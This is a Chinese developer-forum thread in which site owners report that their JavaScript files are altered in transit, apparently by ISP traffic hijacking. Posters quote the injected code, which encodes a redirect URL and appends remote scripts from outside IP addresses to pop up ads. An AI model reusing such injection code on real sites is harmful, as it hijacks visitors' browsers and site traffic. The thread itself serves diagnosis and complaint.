发现一个怪问题，服务器上的js文件内容正常，但访问时却被恶意替换？

laiyilong 2013-06-07 06:51:17

我是在国外主机上布置的一个discuz论坛，之前都好好的，这些天访问的时候发现有弹出窗口被阻止，第一反应是网站被植入代码了，但查看源码也没发现可疑的代码，后来就一个个的把script排除，最后只剩下一个logging.js文件，但下载下来后和原版的对比是一样的，里面就是声明了两个函数而已，所以很明显也不是这个文件代码的问题，接着用chrome的控制台测试，就发现了这个很奇怪的问题，logging.js这个文件的内容居然是



var _objparam_51_ = new Object;

_objparam_51_.p = 1;

_objparam_51_.aid = 66;

_objparam_51_.stat = 'http://76.73.85.179/stat/img.php?type=2&p='+_objparam_51_.p+'&aid='+_objparam_51_.aid+'&acid=14&area=440900&uid=41044&ucid=1';

_objparam_51_.expires = 10;

_objparam_51_.oldurl = 'http://我的网站域名/static/js/logging.js?3NE&W2Ce79=4';

_objparam_51_.url = 'aHR0cDovL3d3dy5sZnR5eC5jb20vYTE5NTMzOC5waHA/VzJDZTc5PTQmcD0xMzcwNjAxNTA1JmM9MTkwMTk4ODkzOQ==';

window.setTimeout(function(){var a=document.createElement("script");a.src=_objparam_51_.oldurl;document.getElementsByTagName("head")[0].appendChild(a);},0);

window.setTimeout(function(){var a=document.createElement("script");a.src="http://76.73.85.179/js/v1.js";document.getElementsByTagName("head")[0].appendChild(a);},0);

<!--

，很明显问题就出在这里了，我再回服务器检查，logging.js还是原来的文件，并不是上面这些，
而且不是每次访问都会被改，只要换了ip第一次打开的时候就会弹出广告，再刷新就没了，logging.js文件也正常了。

我想不明白这中间是哪里出现了问题，应该不是电信搞的鬼，因为我访问其他网站都没发现这个问题，所以应该也不是我电脑的问题，不可能只针对我这个网站，难道是服务器遭到攻击了？

头疼啊

...全文

2891 20 打赏收藏转发到动态举报

写回复

用AI写文章

20 条回复

切换为时间正序

请发表友善的回复…

发表回复

chamgoo 2015-05-21

打赏
举报

找到个有用的。工信部投诉攻略 http://topic.csdn.net/u/20090908/10/5f5693ae-a15b-4a31-8378-9922b00e6684.html

chamgoo 2015-05-21

打赏
举报

电信的节点服务器劫持，最近弹出越来越多了，自己根本没法做任何防护，即使你屏蔽掉ip，窗口还是会给你弹出来。我若干年前解决过一次，就是投诉，别向10000投诉，基本没用，一般是地方电信的行为甚至是部分权限者的行为得向互联网中心之类的投诉。电话忘记了，之前说帮我解决，好了一段时间，现在又这样了，烦啊。访问搜狐视频会弹出来，我是杭州电信。

零七九三 2015-05-16

打赏
举报

有人说是电信问题，但也有人分析是路由器遭受攻击：类似IP为116.252.178.237:9991的弹窗广告的原因及解决办法http://www.exp99.com/news/dnsgongji.html

wzalin 2015-04-30

打赏
举报

bcdata.com.cn

引用

<html> <head> <meta http-equiv="Content-Type" Content="text/html; charset=UTF-8"> <title></title> </head> <body>  <h1>自媒体模式测试代码：</h1> <script type="text/javascript"> var bcdata_w="300";//宽 var bcdata_h="200";//高 var bcdata_atype="1";//流量来源 </script> <script src="http://js.bcdata.com.cn/main.js" type="text/javascript"></script>  <script src="http://js.bcdata.com.cn/stat.js" type="text/javascript"></script> </body> </html>

http://116.252.178.237:19991/ 弹出来的广告.郁闷啊.怎么解决啊

wzalin 2015-04-30

打赏
举报

引用 13 楼 u010472022 的回复:

兄弟，是你本地的浏览器被劫持了。处理下就没事了。

浏览器被劫持了怎么解决啊

lufei93 2015-04-28

打赏
举报

引用 13 楼 u010472022 的回复:

兄弟，是你本地的浏览器被劫持了。处理下就没事了。

怎么解决？

tofu516 2015-04-12

打赏
举报

火狐浏览器耍心机啊，为了广告，不惜牺牲用户体验。

零七九三 2015-04-03

打赏
举报

今天我也发现了和楼主一样的问题，不知道你后来是怎么解决的？

滴滴优财 2015-04-02

打赏
举报

兄弟，是你本地的浏览器被劫持了。处理下就没事了。

大王凤飞飞峰 2015-02-15

打赏
举报

我也遇到这样的问题了，也是电信189搞的，太不要脸了

zxcdsa123123 2015-01-29

打赏
举报

楼主，我遇到和你一样的问题。你解决了没有？我的服务器是在阿里云，域名解析也在万网。 nginx前端代理，后台为python。我的页面是jinja渲染引擎渲染出来的。不知道为什么打开我的网页，右下角总是偶尔弹广告。我右键审查元素看了一下代码，发现页面里被添加了一行js代码 <script src="http://116.252.178.237:19991/ad.0.js?v=4.14&sp=315&ty=dpc&sda_man=" type="text/javascript" id="bdstat"></script> 我检查了服务器的页面代码，是正常的，没有这个js 也没有弄明白这个代码是什么时候，从哪里被加上的。

凯文2016 2015-01-03

打赏
举报

我把ftp里面的文件删了重传都没用，我的站点里被指向了这个地址116.252.178.237如http://116.252.178.237:9991/main.js，有好几个，shit。百度了下，有好几个网站都这样的。

凯文2016 2015-01-03

打赏
举报

我的站点和宽带也出了这个状况，网址输入错误就转到189页面，手机网址输入错误还直接转到下载apk的页面，自己家的宽带就这样，到了别人家就是好的。刚刚打10000号投诉了，他们不承认有这个行为。

laiyilong 2013-06-21

打赏
举报

问题查出来了，是电信搞的鬼，而且这次比以前做得隐秘的多，以前是每天第一次上网不管什么网站都会弹一次广告，而且一看就知道是和电信相关的，但是这次他只拿某部分网站来开刀，基本都是国外的一些不正规网站，例如盗版电影和音乐之类的，然后广告内容就是游戏页面，看不出来和电信有关，我这两天使用美国的vpn来测试，使用vpn的时候怎么打开网站都不会有广告，只要一断开广告就来，很明显这个数据是和美国那边没关系，而是回到国内的时候被改的，重要的是中间无意中发现弹出了两次中国电信189的页面，所以百分百确定是中国电信了，简直太流氓了，活生生的拿你的网站流量来赚广告费。

细路123 2013-06-14